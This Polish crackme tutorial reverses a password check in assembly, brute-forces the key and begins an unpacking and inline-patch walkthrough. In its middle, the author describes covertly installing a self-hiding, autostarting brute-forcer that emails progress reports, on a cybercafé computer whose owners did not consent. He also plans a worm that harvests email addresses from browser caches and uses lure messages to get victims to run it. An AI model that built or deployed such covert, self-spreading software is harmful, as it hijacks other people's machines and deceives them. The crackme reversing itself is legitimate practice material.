CrackMe v. 3.0 deztroyer^ by Kwasek&Tymon

Cze debesciaki :) Oglnie mwic na stronie www.crackmes.prv.pl jest sporo crackmesw majcych jeszcze status uncracked, co najgorsze wikszo z nich to crackme raczej nie do zamania, mwic inaczej zamanie takiego programiku uzalenione jest od mocy procka. Oczywicie patrzc na bardzo szybki rozwj procesorw mona doj do wniosku, e takie cm bdzie za kilkanacie lat amliwe w rozsdnym czasie. Nic nie stoi na przeszkodzie aby wykorzysta wicej komputerw ni 1, lub dogbnie analizowa zabezpieczenie cm. W celu zmniejszenia szukanego klucza, co oczywicie znaczco przyspieszy bruta. Tak wanie analiz zabezpieczenia przeprowadziem amic CrackMe v.3.0 deztroyer^. Wykorzystaem do tego celu 1 komputer, ale... :)

Tak wic CrackMe jest spakowane (pe-compact), zawiera jakie tam metody Anti Si, ale skupimy si raczej jak zama cm ni jak pozby sie tych metod. Odpal progsa, zobaczysz okienko na ktrym wida jak galaktyk, okienko nazwane jest Kill this NAG !!!. Wedug mnie nie jest to gwne zabezpieczenie CrackMe wic zajmiemy sie tym na kocu. Gdy NAG zniknie pojawi si okno gwne cm. w ktrym bdziesz mg wpisa wreszcie pass. Gotowy SoftIce? Jeli tak to za standardow puapk na pobieranie text edita, jeli nie wiesz jak, to zamknij program w ktrym czytasz ten text [X] to taki krzyyk w prawym grnym rogu ekranu. Jeli zaapa ci si SoftIce podczas gdy wcisne przycisk Ok to moesz czyta text dalej. Z reguy Cracker to posta leniwa, wic po co wciska co chwil F8. Jest inny sposb, wchodzisz na www.kwasek2.prv.pl, klikasz na SOURCE i zasysasz rdo do CrackMe v. 3.0 deztroyer^. Tak wic masz wszystko podane na tacy. Oto jak wyglda gwne algo:

        push    28h
        push    offset _Password
        push    EDIT_PASS
        push    hWin
        call    GetDlgItemTextA
        cmp     eax, 0                  ;jeli nic nie wpisae
        jz      _wpisz_cos              ;to powiadom o tym
        cmp     eax, 10h                ;pass musi mie 16 znakw
        jnz      _nie_tyle              ;jeli nie to bay bay
        xor     edi, edi
        xor     esi, esi
        mov     esi, _wartosc1
        mov     eax, offset _Password   ;do eax offset passworda
        mov     edi, [eax]              ;pass4
        shl     edi, 1                  ;*2
        xor     edi, 0DEADDAEDh         ;
        ror     edi, 5                  ;
        add     edi, [eax+4]            ;pass8
        cmp     edi, 0D7F999F7h         ;
        jnz     _nie_tyle               ;jeli nie to bay bay
        add     eax, 4                  ;
        mov     edi, [eax]              ;pass8
        shl     edi, 1                  ;*2
        xor     edi, 12348765h          ;
        rol     edi, 3                  ;
        shr     edi, 1                  ;/2
        sub     edi, [eax+4]            ;pass12
        xor     edi, [eax+8]            ;pass16
        add     edi, [eax-4]            ;pass4
        mov     eax, edi                ;
        mov     esi, 3                  ;
        mul     esi                     ;*3
        mov     edi, eax                ;
        cmp     edi, 0B2935ACEh         ;
        jnz     _nie_tyle               ;jeli nie to bay bay
        mov     eax, offset _Password   ;do eax offset passworda
        add     eax, 8                  ;
        mov     edi, [eax]              ;pass12
        xor     edi, 85643712h          ;
        shr     edi, 1                  ;/2
        rol     edi, 3                  ;
        shr     edi, 2                  ;/4
        ror     edi, 5                  ;
        xor     edi, [eax+4]            ;pass16
        sub     edi, 12365849h          ;
        add     edi, [eax-8]            ;pass4
        xor     edi, [eax-4]            ;pass8
        cmp     edi, 3EAB10E2h          ;
        jnz     _nie_tyle               ;
        add     eax, 4                  ;
        mov     edi, [eax]              ;pass16
        sub     edi, [eax-5]            ;pass11
        xor     edi, 54668417h          ;
        ror     edi, 6                  ;
        shl     edi, 1                  ;*2
        xor     edi, 0DEADh             ;
        mov     ebx, [eax-0Ch]          ;pass4
        mov     eax, edi                ;
        mul     ebx                     ;
        mov     edi, eax                ;
        shr     edi, 3                  ;
        xor     edi, 16794328h          ;
        cmp     edi, 21CD022h           ;
        jnz     _nie_tyle               ;
        jmp     _About_Good             ;

Tak wanie wyglda gwne algo, z ktrego moemy si dowiedzie, e haseko musi skada sie z 16 znakw. Poprawno passworda sprawdzana jest przy pomocy 4 checkw. Przedstawi poniej przykadowy password i zestawienie pokazujce od jakich czci seriala uzaleniony jest podany check.

Password:
KwasekHTBteam123

Check 1 zaleny od Kwas|ekHT
Check 2 zaleny od ekHT|Btea|m123|Kwas = Cay pass
Check 3 zaleny od Btea|m123|Kwas|ekHT = Cay pass
Check 4 zaleny od m123|TBte|Kwas

Nie wiem jak wy, ale jak ja to pierwszy raz zobaczyem to stwierdziem, e crackme jest nie do zamania, poniewa na obrcenie caej procki nie ma co liczy, moe istnieje jakie matematyczne rozwizanie, uoenie jakich rwna itp. ale mi to si nie udao. Tak wic jeli nie mona obrci algo to pierwsza myl jaka przychodzi to brute-force. No dobra ale b-f 128bit? to raczej na razie niemoliwe. 64 bitowy b-f to ju kilka miesicy liczenia a 128 b-f to ju szok.

Dajc prawie peny charset czyli okoo 90 znakw, pisz prawie poniewa omin polskie znaczki i par innych, przy 16 znakach hasa daje to:

90 ^ 16 = 18530201888518410000000000000000 moliwych hase

Dajc taki wanie charset masz 99% szansy, e znajdziesz poprawny pass, czyli taki, ktry spenia zaoenie algorytmu. Wyobra sobie, e dae wanie ten charset, zapucie brutala i po kilku latach brutal informuje ci, e nie znalaz hasa pomimo przetestowania wszystkich kombinacji. Oczywicie wiadomo z powodu braku polskich znaczkw w charsecie. Tak wic amic CrackMe z jakim wikszym kluczem trzeba si dobrze zastanowi nad dobraniem charsetu, by nie zrobi jakiej wtopy. No dobra ale czy s polskie znaczki czy nie to i tak ilo moliwych hase jest przeogromna, uniemoliwiajca zamanie tego cm. w rozsdnym czasie. Trzeba znale jaki saby punkt cm. W celu zmniejszenia wielkoci szukanego klucza. Na pocztek przyjrzyjmy si jak wyglda 1 check:

        mov     edi, [eax]              ;pass4
        shl     edi, 1                  ;*2
        xor     edi, 0DEADDAEDh         ;
        ror     edi, 5                  ;
        add     edi, [eax+4]            ;pass8
        cmp     edi, 0D7F999F7h         ;
        jnz     _nie_tyle

Moemy pozna pierwsze 8 znakw passworda wykorzystujc b-f 64bit, tylko bdzie jeden problem, a mianowicie seriali speniajcych ten check jest bardzo duo, ale mimo to troch nam to uproci ca spraw. Drugi problem to wedug mnie b-f 64bit, to troch za duo. Ale po co mamy gow, trzeba troch j ruszy, ja to zrobiem i powsta brutal 32 bitowy, ktry generuje nam sownik, oto jak on wyglda:

        mov     edi, dword ptr[eax]     ;do edi 4 pierwsze znaki pass
        shl     edi, 1
        xor     edi, 0DEADDAEDh
        ror     edi, 5
        mov     esi, 0D7F999F7h
        sub     esi, edi
        mov     dword ptr[eax+4], esi
        mov     word ptr[eax+8], 0A0Dh
        mov     eax, esi
        cmp     al, 20h
        jb      _zle
        cmp     al, 7bh
        jae     _zle
        cmp     ah, 20h
        jb      _zle
        cmp     ah, 7bh
        jae     _zle
        rol     eax, 10h
        cmp     al, 20h
        jb      _zle
        cmp     al, 7bh
        jae     _zle
        cmp     ah, 20h
        jb      _zle
        cmp     ah, 7bh
        jae     _zle
        call    zapisz

Do rejestru edi kopiowane s 4 pierwsze przypuszczalne znaki hasa, ktre szyfrowane s w taki sam sposb co w CrackMe, z t rnic, e na wyjciu otrzymamy 4 nastpne znaki hasa, te wanie znaki s testowane czy da si je wpisa z klawiatury. Jeli da sie wpisa do zapisz pierwsze 8 znakw do pliku, jeli nie to daj inn kombinacje 4 pierwszych znakw, rb tak do momentu wyczerpania wszystkich kombinacji. Charset znajduje si w granicach od 20h do 7bh, czyli 91 znakw. Teraz taki sownik musimy wykorzysta. Najpierw looknij na check trzeci i pomyl jak wykorzysta w nim wygenerowane wczeniej 8 znakw passworda. Ja to zrobiem tak:

Oto trzeci check:

        mov     eax, offset _Password   ;do eax offset passworda
        add     eax, 8                  ;
        mov     edi, [eax]              ;pass12
        xor     edi, 85643712h          ;
        shr     edi, 1                  ;/2
        rol     edi, 3                  ;
        shr     edi, 2                  ;/4
        ror     edi, 5                  ;
        xor     edi, [eax+4]            ;pass16
        sub     edi, 12365849h          ;
        add     edi, [eax-8]            ;pass4
        xor     edi, [eax-4]            ;pass8
        cmp     edi, 3EAB10E2h          ;
        jnz     _nie_tyle               ;

Teraz zobacz jak ja to obrciem, jest troch zoptymalizowany, wic moe przez to by troch nieczytelny

;-----------------------------------------------------------------------
;ta procka jest wykonywana tylko raz dla kadego hasa ze sownika po 
;prostu taka optymalizacja
;-----------------------------------------------------------------------
        mov     eax, 12365849h
        sub     eax, dword ptr[edi]    ;zaaduj do edi pierwsze 4 znaki ze
        mov     suma, eax              ;sownika
;-----------------------------------------------------------------------
;Tu powinna by procedura tworzca 32bitowy klucz o danym charsecie,
;po rostu brute-force

        mov     edi, _uchwyt_pliku      ;do edi znaki ze sownika
        mov     eax, 3EAB10E2h
        xor     eax, dword ptr[edi+4]   ;xoruj eax z 4 nastpnymi znakami
        add     eax, suma               ;sownika
        xor     eax, dword ptr[ebx]     ;w ebx s 4 znaki z brutal
        rol     eax, 5
        shl     eax, 2
        ror     eax, 3
        shl     eax, 1
        xor     eax, 85643712h
        cmp     ah, 20h
        jb      create2                 ;jeli le to twrz nastpny klucz
        cmp     ah, 7bh
        jae     create2                 ;jeli le to twrz nastpny klucz
        rol     eax, 10h
        cmp     al, 20h
        jb      create2                 ;jeli le to twrz nastpny klucz
        cmp     al, 7bh
        jae     create2                 ;jeli le to twrz nastpny klucz
        rol     eax, 10h
;----------------------------------------------------------------------
;procka tworzy ostateczny password
;----------------------------------------------------------------------
        mov     ebx, dword ptr[ebx]
        mov     esi, offset password
        mov     dword ptr[esi+0Ch], ebx
        mov     dword ptr[esi+08h], eax

        mov     ebx, dword ptr[edi]
        mov     dword ptr[esi], ebx
        mov     ebx, dword ptr[edi+4]
        mov     dword ptr[esi+4], ebx
        mov     word ptr[esi+16],0a0dh
;----------------------------------------------------------------------

Reasumujc, pobierane jest 8 znakw ze sownika, ktre s obracane przy pomocy checka trzeciego, no dobra ale jak pozna 8 nastpnych znakw? Ot znw metod brute-force 32bit. Generowany jest 32bitowy klucz o podanym charsecie, ktry w poczeniu z naszymi 8 znakami ze sownika da nam nastpne 4 znaki. Znaki te s tak samo jak w przypadku generowania sownika sprawdzane czy da si je wpisa z klawiatki. Jeli nie da si wpisa to wygeneruj nastpny klucz, jeli przypadkiem zostan przetestowane wszystkie kombinacje, to zaaduj nastpny klucz ze sownika, itd. No dobra dlaczego sprawdzane s tylko 2 bajty(test 20h, 7bh). Ot powysza procedura nie obrci nam na 100%. Skd wiem, a no jeli masz rdo tego cm to przerb tak cm aby przyjmowao tylko twoje haso (zmie po prostu 4 checki). Nastpnie pocignij to powysz prock i zauwaysz, e np. dla 4 znakw 1234(pass12), tylko bajty 2,3 zostan prawidowo obrcone, a jak je pozna. Ot jak wspomniaem s one testowane(20h, 7bh) i jeli przejd test to skocz do:

    Check2:
;-----------------------------------------------------------------------
;procedura znalezienia poprawnego pass12 a dokadnie w przypadku znakw 
;1234 poznania znakw 1 i 4. Przypominam jeli algo tu skoczy tzn. e 
;znamy ju przypuszczalne znaki 2 i 3 (dadz si wpisa z klawiatki)
;-----------------------------------------------------------------------

        add     esi, 4                  ;w esi offset wygenerowanego pass.
        mov     edi, [esi]
        shl     edi, 1
        xor     edi, 12348765h
        rol     edi, 3
        shr     edi, 1
        sub     edi, dword ptr[esi+4]
        xor     edi, dword ptr[esi+8]
        add     edi, dword ptr[esi-4]
        mov     eax, edi
        mov     esi, 3
        mul     esi
        mov     ebx, eax
        mov     eax, 0B2935ACEh
        cmp     ah, bh
        jnz     create2        ;jeli le to twrz nastpny klucz
                               ;po prostu bajty 2 i 3 nie sa w 100% dobre
        rol     eax, 10h
        rol     ebx, 10h
        cmp     al, bl
        jnz     create2        ;jeli le to twrz nastpny klucz
                               ;po prostu bajty 2 i 3 nie sa w 100% dobre

No dobra ale zapytacie skd znw wiem eby sprawdzi czy s rwne znw tylko 2 bajty(935A). Ot zrb to z prawidowym hasem, heh nie do koca prawidowym chodzi o ten pass12(1234) i zobaczysz, e jeli bajty 2 i 3 s takie same jak w pass. to po przejciu caego hasa przez ten check w rejestrze eax rodkowe bajty zawsze bd rwne 935Ah. Ale zakrciem :) Teraz gdy rodek eax = 935Ah to moemy pozna 2 nastpne bajty czyli czyli chodzi o liczby 1 i 4. Jak to zrobi? Znowu brutal z tym, e ju tylko 16 bitowy:

        mov     esi, offset password   ;cay pass
        mov     ax, word ptr[ebx]      ;2 znaki z brutala o podanym chars.
        mov     byte ptr[esi+8], al    ;kopiuj w odpowiednie miejsce
        mov     byte ptr[esi+11], ah   ;kopiuj w odpowiednie miejsce
        add     esi, 4
        mov     edi, dword ptr[esi]
        shl     edi, 1
        xor     edi, 12348765h
        rol     edi, 3
        shr     edi, 1
        sub     edi, dword ptr[esi+4]
        xor     edi, dword ptr[esi+8]
        add     edi, dword ptr[esi-4]
        mov     eax, edi
        mov     esi, 3
        mul     esi
        mov     edi, eax
        cmp     edi, 0B2935ACEh
        jnz     create3              ;jeli le wygeneruj nastpne 2 znaki

Myl, e jest ju wszystko jasne b-f 16bit, jeli przejdzie pass dla tego checka, mona pokusi si, aby cay pass przeszed tak samo jak w cm przez 4 cae checki aby by pewnym, e haso jest w 100% dobre. Tyle tych brutali i czy na pewno co na tym skorzystalimy. Troch to trudno obliczy ale sprbujemy:

Wygenerowany sownik ma 12441600 bajtw razem z 0D0A, czyli 12441600/10=1244160. Wychodzi, e sownik zawiera 1244160 hase ktre speniaj zaoenie pierwszego checka. Problem tkwi w tym, e nie zawsze algo skacze to b-f 16bit, ale nie musimy mie dokadnego wyniku, wystarczy nam przybliony:

Gdy nie skacze do b-f 16bit:

91^4=68574961(32bit)
691200*1244160=859963392000 moliwych kombinacji

Gdy skacze do b-f 16bit:

91^2=8281(16bit)
91^4=68574961(32bit)
8281*68574961*1244160=706520208619330560 moliwych kombinacji

Obliczymy rednia:

(859963392000+706520208619330560)/2=353260534291361280 m. kombinacji

Dla b-f 128bit z tym samym charsetem, obliczenie IMK

91^16=22113743972843938840712550613441

No wic ile zyskalimy:

22113743972843938840712550613441/353260534291361280 = 62598965427043 
razy szybciej w porwnaniu do b-f 128bit (Niele)

Wszystko piknie adnie, ale moe si zdarzy, e przetestowanie 1 kombinacji moe trwa bardzo dugo, i may wynik, ktry uzyskalimy moe nas zmyli.

Tak specjalnego bruta (src powinien by doczony), odpaliem u siebie na Athlonie Xp 2000+, oczywicie wszystko standardowe, save klucza, autostart itd. I si bardzo zawiodem. Jak dla mnie, pene sprawdzanie jednego pass. ze sownika trwa za dugo. Szkoda prdu, nie mgbym spa przy wczonym kompie, wkurzyem si i zaczem przepisywa cale algo na MMX'a, oczywicie musiaem si upewni, e wszystko chodzi szybciej(rdtsc). I si upewniem, po prostu jedna wielka kupa, algo chodzce na MMX'ach przeliczao tyle samo seriali w czasie duszym ni algo na 32bitowych instrukcjach. Wskazwki barta troszeczk pomogy ale minimalnie. Nie wiem dlaczego tak sie stao ale chyba wina bya po stronie braku instrukcji ror i rol na MMX'ach. Nie mowi, e MMX'y s do bani, ale w tym przypadku w ogle si nie sprawdziy. Trzeba si przerzuci na Pentium4 moe wykorzystujc SSE2 co by pomogo. No ale nic zabaw z MMX przerwaem i mylaem co by tu dalej zrobi.

Bardzo dawno temu miaem w planie zrobi brute-force'a ktry odpalony na kompie ofiary wysya na moja skrzynk pocztow jaki list z informacjami o postpie szukanego klucza. Ale zabrako mi chci, jak ju wspomniaem cracker to posta leniwa, moe czekaem a kto napisze takie co pierwszy i oczywicie to udostpni. No ale c ile mona czeka. Zabraem si w kocu za pisanie. Na pocztek zabraem si za szukanie porzdnej procedury wysyajcej maila. Procki znalazem w zinach 29A, w trojenie barta titi. Najbardziej mi odpowiadaa jedna z procek z zina 29A-6. Gdy upewniem si, e algo wysya bez problemw, zaczem rozpisywa sobie plan dziaania brutala:

- Ukrycie procesu alt+ctrl+del oczywicie nie dziaa na sytemach NT,XP,2000
- Zainstaluj si w systemie, kopiuj brutala do katalogu systemowego, dodaj do autostartu, odpal kopi brutala z katalogu systemowego, w razie potrzeby ka zakoczy aktualny program eby kilka kopii bruteforce nie byo aktywnych jednoczenie
- Sprawdzenie przy starcie brutala czy jest wynik jeli jest to wylij go, gdy wyle usu wpis z autostartu by wicej si nie uruchamia procka jest po to gdy np. brutal znajdzie poprawny klucz zapisze go do pliku i z jakiego powodu nie bdzie dostpu do netu i przypumy w tym czasie kto wyczy kompa gdy pniej znw go kto odpali normalnie brutal szukaby dalej klucza, ale po co jak ju znalaz i zapisa, normalnie bym nie otrzyma maila z hasem, no chyba e prawidowych hase jest wicej. Tak wic algo sprawdza czy jest haso jeli jest wysya go, gdy wyle sprzta po sobie i wycza si :) procka daje nam 100% pewnoci, e dostaniemy maila w razie wystpienia jaki dziwnych rzeczy
- Wysyanie maila z informacja o kompie na ktrym zosta uruchomiony, oraz dane o postpie szukanego hasa, informacja ta wysyana bdzie raz dziennie, jeli wyle to stworzy klucz (CrackMe 3 by Deztroyer) w Software\Microsoft\Internet Explorer\Main, z dat wysania, ktra pozwoli pniej okreli czy wiadomo zostaa ju danego dnia wysana czy nie
- Gwne algo czyli szukanie poprawnego hasa, jeli progs znajdzie to zapisze je do pliku, po czym wyle je na wskazany adres, na kocu cay brutal odinstaluje si aby ju sie nie uruchamia. Oczywicie co jaki czas nagrywany jest stan szukanego klucza, ktry przyda si oczywicie (wysyany raz dziennie)

Zkodziem to do szybko, najgorsza spraw byo testowanie. Problem tkwi w tym, e nie mam dostpu do netu w domu, tak wiem s modemy, ale wol si do tego urzdzenia nie zblia, za bardzo cignie. Jak wiemy Internet w tym brutalu to podstawa, tak wic lataem codzienne do kafejek testowa to gwno. eby przypieszy usuwanie bdw, na jednym z kompw w cafe nawet zassaem i zainstalowaem SoftIce'a :). W kocu gdy wszystko byo dopite na ostatni guzik zaczem szuka komputera ofiary. Znalazem wedug mnie idealn ofiar, poniewa:

- posiada w miar szybki procek Athlon XP 1800+
- by uruchomiony przez cay czas otwarcia kafejki, nawet gdy nie siedzia przy nim aden klient
- brak wygaszacza ekranu, gdyby by to bym go usun, ale jest bardzo prawdopodobne, e kto z obsugi by go z powrotem wczy co przy priorytecie Idle brutala bardzo by spowolnio szukanie pass.

Byy rwnie i wady poniewa na kompie by sys windows 2000, jak wiemy nie dziaa ukrycie procesu, tak wic exeka nazwaem sb16.exe moe kto sobie by pomyla, e to do karty dwikowej :), tylko najgorsze jest to, e ten sys pokazuje uycie procesora dla kadego odpalonego procesu. No i mi pokaza uycie dla sb16.exe 99%. To wedug mnie najbardziej podejrzana sprawa. No ale nic jak ju wspomniaem priorytet brutala to Idle, a wic nie ma jaki tam wikszych spowolnie sysa. Mona byo spokojnie sobie pogra w Cs bez adnych zwisw. Nie czekaem dugo, click, click, i brucik odpalony. Po jakim czasie dostaem pierwszego maila :) program dziaa, pozostaje tylko czeka. Wszystko przebiegao jak naley dostawaem 1 maila dziennie z wanymi informacjami, min tydzie, dwa, trzy, a tu pewnego dnia brak maila, pomylaem sobie moe kafejka dzi nieczynna? Ale maila nie dostaem na nastpny dzie i nastpny. Tak wic jak si okazao na kompie by format. Ale nic straconego, poniewa mam ostatni klucz ktry dostaem. Aha jeszcze jedno, klucz postpu to nic innego jak offset pliku sownika. W ostatnim mailu klucz mia warto 4779920 jak wiadomo cakowita wielko wynosi 12441600 tak wic do poowy troch brakowao. Inaczej to ujmujc przetestowane zostao okoo 477992 z 1244160 moliwych hase sownika. Chciaem jeszcze raz odpali burta, oczywicie liczc od tego wyej wymienionego klucza, ale co mi sie przypomniao. Jebane polskie znaczki, jeli oryginalne haso posiada chocia jedno takie gwno to wszystko pjdzie sie wali. A wic napisaem do autora cm. podaem mu charset jaki uyem i spytaem si czy jest sens to odpala, mwic inaczej autor mia napisa czy s polskie znaczki czy nie. Jeli by nie byo to bym dalej zapuci bruta, jeli by byy to bym musia odpowiednio go przerobi. Autor odpisa i zamiast odpowiedzie mi Tak\Nie to napisa:

1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz

Minimalnie si wkurzyem, ale bya to tylko podpowiedz czasowa. Wic przerobiem brutala(nie ten kafejkowy) na wyej wymieniony charset. Wygenerowany sownik to ju tylko 577500 bajtw co daje 57750 moliwych hase. Mogem spokojnie odpali go w domu z powodu mniejszego sownika i czasu w jakim jest sprawdzany jeden pass ze sownika. Oczywicie spowodowane jest to krtszym charsetem. Haseko otrzymaem po kilku godzinach: pd0fg1coA4kzDm6l

Zobaczmy gdzie si znajduj nasze pierwsze 8 znakw w naszym pierwszym wikszym sowniku. Wic szukamy stringu pd0fg1co. Znajduje si on pod offsetem 9832430, pamitajc e ostatnia warto rwnaa si 4779920 i, e trwao to koo 3 tygodni, moemy doj do wniosku, e haso uzyskabym gdzie miesic pniej. A wic i tak CrackMe by byo zamane i tak tylko troszeczk pniej.

Piszc tego b-f narodziy mi si rone pomysy, ot w przyszoci piszc podobnego b-f sprbuj zrobi z niego 100% robaka. Mwic dokadniej brute-force przeszukiwaby cay katalog Temporary Internet Files w poszukiwaniu adresw pocztowych, po czym wysyaby si na te adresy. Problemem moe stanowi odpowiednie podzielenie brutala. Przedstawi jak powinien wyglda cay algo: 

- przeszukanie caego katalogu Temporary Internet Files
- przypumy e znaleziono 100 maili
- podzielenie b-f tzn. dla naszego przykadu ilo kombinacji to 12441600 wic zakadamy e np. pierwszy bdzie liczy od 0 do 10000.
- wysyaj na podane maile b-f z obcitym kluczem od 0 do 10000
- jeli zostan przetestowane 10000 kombinacji to wylij maila na wskazany adres
- jeli znajdzie haso to wysyaj odpowiedniego maila
- oczywicie kady brutal dolicza nastpne 10000 kombinacji i znw robi wszystko od pocztku

Kto moe mi zada pytanie dlaczego a tyle komputerw ma liczy ten sam zakres klucza, oczywicie liczba ta jest uzaleniona od iloci znalezionych maili. Mamy wiksz szans, e b-f si dobrze rozniesie. Poowa sukcesu rozniesienia to dobra ciema wysyanego listu, trzeba zachci ofiar do uruchomienia b-f. Rwnie dlatego b-f rozsyany jest do tylu kompw, poniewa jak w naszym przypadku ze 100 moe np. tylko 10 osb uruchomi b-f. Ale z drugiej strony im mniej komputerw liczy ten sam zakres klucza tym lepiej dla nas, wic ostatecznie mona by zrobi brutala, ktry co drugiego maila dolicza (x) kombinacji. Po prostu trzeba by byo to testowa, testowa i jeszcze raz testowa.

Tak wic samo skonstruowanie takiego potworka nie jest trudne, trzeba tylko zaoy na ile czci chce si podzieli b-f, jak rwnie obmyli form listu wysyanego do ofiary. Ju chciaem zakoczy pisanie tego tuta, ale przypomnia mi si nasz NAG.

Mimo wielu prb nie udao mi si usun naga. Sposb jest prosty, wystarczy znopowa caego calla pod adresem 00401016, prbowaem z moim inline patcherem ale cm si wykada, nawet universal loader hintego nie zabija naga. Jest to wedug mnie spowodowane szybkim pojawieniem si naga zaraz po starcie cm. I wtedy taki patcher lub loader nie zdy spatchowa odpowiednich bajtw. Moe to efekt szybkiego procka? Naprawd nie wiem :(

Jak to przewanie mwi Cracker "Nie ma rzeczy niemoliwych". Zawsze gdy spogldam na tego typu CrackMe przypominam sobie wanie ten tekst, myl e i Tymon, ktry to uwaga - napisa patcha, ktry usuwa naga te zna to synne haso. A wic nie ma co oddaj mu glos:

Patch by Tymon

Oki, Kwasek znalaz poprawny serial, wic ja sprbuje zrobi patcha.

Na pocztku ogldamy CrackMe pod hex-editorem, jak wida jest ono spakowane. Teraz tylko kwestia rozpoznania pakera. Uruchamiamy wic FI i pokazuje on nam, e mamy do czynienia z PECompact v1.40-3. Oki, teraz zobaczmy co mamy do spatchowania:

0167:00401000  B443           MOV       AH,43
0167:00401002  CD68           INT       68
0167:00401004  663D86F3       CMP       AX,F386            ; anty-si
0167:00401008  742A           JZ        00401034      
0167:0040100A  6A00           PUSH      00     
0167:0040100C  E8C5030000     CALL      KERNEL32!GetModuleHandleA
0167:00401011  A344324000     MOV       [00403244],EAX
0167:00401016  E829000000     CALL      00401044   ; call odpowiedzialny
0167:0040101B  6A00           PUSH      00         ; za pokazanie nag'a         
0167:0040101D  688A114000     PUSH      0040118A      
0167:00401022  6A00           PUSH      00     
0167:00401024  68E9030000     PUSH      000003E9      
0167:00401029  FF3544324000   PUSH      DWORD PTR [00403244] 
0167:0040102F  E84E030000     CALL      USER32!DialogBoxParamA ; crackme 
0167:00401034  6A00           PUSH      00     
0167:00401036  E895030000     CALL      KERNEL32!ExitProcess   ; bye bye

Jak wida autor prbowa si troch ochroni przed crackerami i zastosowa star, bardzo znan metod z przerwaniem 68h. Jednak wystarczy, e uruchomisz icedump'a i sztuczka ta nie zadziaa. Oki, spjrzmy teraz na call'a z lini 00401016. Tutaj wanie zostaje wywietlona bitmapa, ktr musimy usun. Pierwszym rozwizaniem ktre si nasuwa, jest wynopowanie tego call'a. Jednak, czy jest to rozsdne posunicie? Wydaje mi si, e nie... zobacz, eby wynopowa tego call'a trzeba zmieni 5 bajtw. Czy jest inna metoda? Oczywicie !!! Mona przeskoczy tego naga. Wystarczy, e pod offsetem 00401016 zrobimy skok do 0040101B. Zauwaye ile to zajmuje? Tak, tak, tylko 2 bajty (jest to short jump). Oki, spisz sobie teraz te podmienione bajty(EB,03), oraz adres, gdzie trzeba to spatchowa(401016).

Oki, czas zbada packera. Otwieramy SI-Loader'a i adujemy CrackMe. Warto przeglda kod uywajc F8, poniewa od czasu do czasu spotkamy junki i niechccy mona wypa z obiegu :) Oki, zaciekawio mnie to miejsce: 

0167:0040F1C2  00BD53510000   ADD       [EBP+00005153],BH
0167:0040F1C3  BD53510000     MOV       EBP,00005153
0167:0040F1C8  57             PUSH      EDI   
0167:0040F1C9  5E             POP       ESI   
0167:0040F1CA  83C642         ADD       ESI,42
0167:0040F1CD  81C753110000   ADD       EDI,00001153
0167:0040F1D3  56             PUSH      ESI   
0167:0040F1D4  57             PUSH      EDI   
0167:0040F1D5  57             PUSH      EDI   
0167:0040F1D6  56             PUSH      ESI   
0167:0040F1D7  FF959EA04000   CALL      [EBP+0040A09E]    ; depack
0167:0040F1DD  8BC8           MOV       ECX,EAX    
0167:0040F1DF  5E             POP       ESI   
0167:0040F1E0  5F             POP       EDI   
0167:0040F1E1  8BC1           MOV       EAX,ECX    
0167:0040F1E3  C1F902         SAR       ECX,02
0167:0040F1E6  F3A5           REPZ MOVSD              ; kopiowanie
                                                      ; odpackowanej
                                                      ; czci programu
0167:0040F1E8  03C8           ADD       ECX,EAX    
0167:0040F1EA  83E103         AND       ECX,03
0167:0040F1ED  F3A4           REPZ MOVSB      
0167:0040F1EF  EB14           JMP       0040F205

Jak mona byo si spodziewa cz kodu packera te jest spakowana. Wanie pod offsetem 0040F1D7 nastpuje depakowanie tego kodu. Po przepisaniu go pod odpowiednie miejsce, przechodzimy dalej do wanie odpakowanej czci packera. Oki, teraz chciabym, ebymy przeszli do najwaniejszej czci kodu packera, ktra jest nam potrzebna do inline patch'a, czyli do miejsca, gdzie nastpuje skok do OEP.

0167:0040F476  8BB515A64000    MOV       ESI,[EBP+0040A615]
0167:0040F47C  8BBD19A64000    MOV       EDI,[EBP+0040A619]
0167:0040F482  E88F0C0000      CALL      00410116
0167:0040F487  61              POPAD
0167:0040F488  9D              POPFD
0167:0040F489  50              PUSH      EAX
0167:0040F48A  6800104000      PUSH      00401000   ; OEP
0167:0040F48F  C20400          RET       0004       ; to dziaa jak jmp ;)

Oki, jak wiadomo, eby zrobi inline patcha, najlepiej podmieni skok i zamiast do OEP skoczy do procedurki patchujcej. Co wystarczy zmieni? Oczywicie push'a z lini 0040F48A. hehe, jednak to byoby za atwe ;) Po pierwsze ta cz kodu jest niedostpna z poziomu hex-editora (jak pamitasz te jest spakowana), po drugie do wartoci wrzucanej na stos dodawany jest w pewnym momencie Image Base (tutaj 400000), zobacz:

0167:0040F239  FF951DA64000  CALL      [EBP+0040A61D]
0167:0040F23F  8BF8          MOV       EDI,EAX
0167:0040F241  5B            POP       EBX
0167:0040F242  019D38A34000  ADD       [EBP+0040A338],EBX ; add image base
0167:0040F248  8DB543A64000  LEA       ESI,[EBP+0040A643]

Pomylmy wic jak napisa inline patcha. hmm... mona waciwie napisa dwie procedurki inline patchujce. Pierwsza patchujca tego push'a odpowiedzialnego za skok do OEP, a druga patchujca naga. Oki, znajdmy wic troch miejsca w CrackMe. Otwieramy go pod hexeditorem i szukamy miejsca z do du iloci zer. Ja znalazem pod B90h i C80h. Oki, teraz skoro mamy ju miejsce na patch, to pomylmy gdzie umiecimy pierwsz prock. Pamitajmy, e musi by to po zdepakowaniu czci kodu odpowiedzialnej za skok do oep. Zobaczmy:

0167:0040F1E0  5F            POP       EDI   
0167:0040F1E1  8BC1          MOV       EAX,ECX    
0167:0040F1E3  C1F902        SAR       ECX,02
0167:0040F1E6  F3A5          REPZ      MOVSD   ; kopiowanie odpackowanej
0167:0040F1E8  03C8          ADD       ECX,EAX ; czci programu

hmm... mona bezporednio pod instrukcja repz movsd. W procedurce patchujcej przywrcimy oryginalne bajty. Oki, musimy tylko ustali virtual offset naszego miejsca gdzie bdzie patch (raw offset ju mamy: B90h). Tutaj przyda si ProcDump. Otwrzmy CrackMe pod PE Editorem w tym wanie programie. No, a teraz wzr na obliczanie VO (made by me, ale dziaa :)):

vo_patcha = ro_patcha - ro_danej_sekcji+vo_danej_sekcji+imagebase

vo - virtual offset (offset w pamieci)
ro - raw offset (offset w pliku)

Jak nie rozumiesz co to ro, vo to obejrzyj sobie jakiego proga pod PE Editorem i wszystko stanie sie jasne. Oki, teraz co waciwie mamy spatchowa? Mamy sprawi, eby w tej linijce:
0167:0040F48A  6800104000          PUSH      00401000   ; OEP
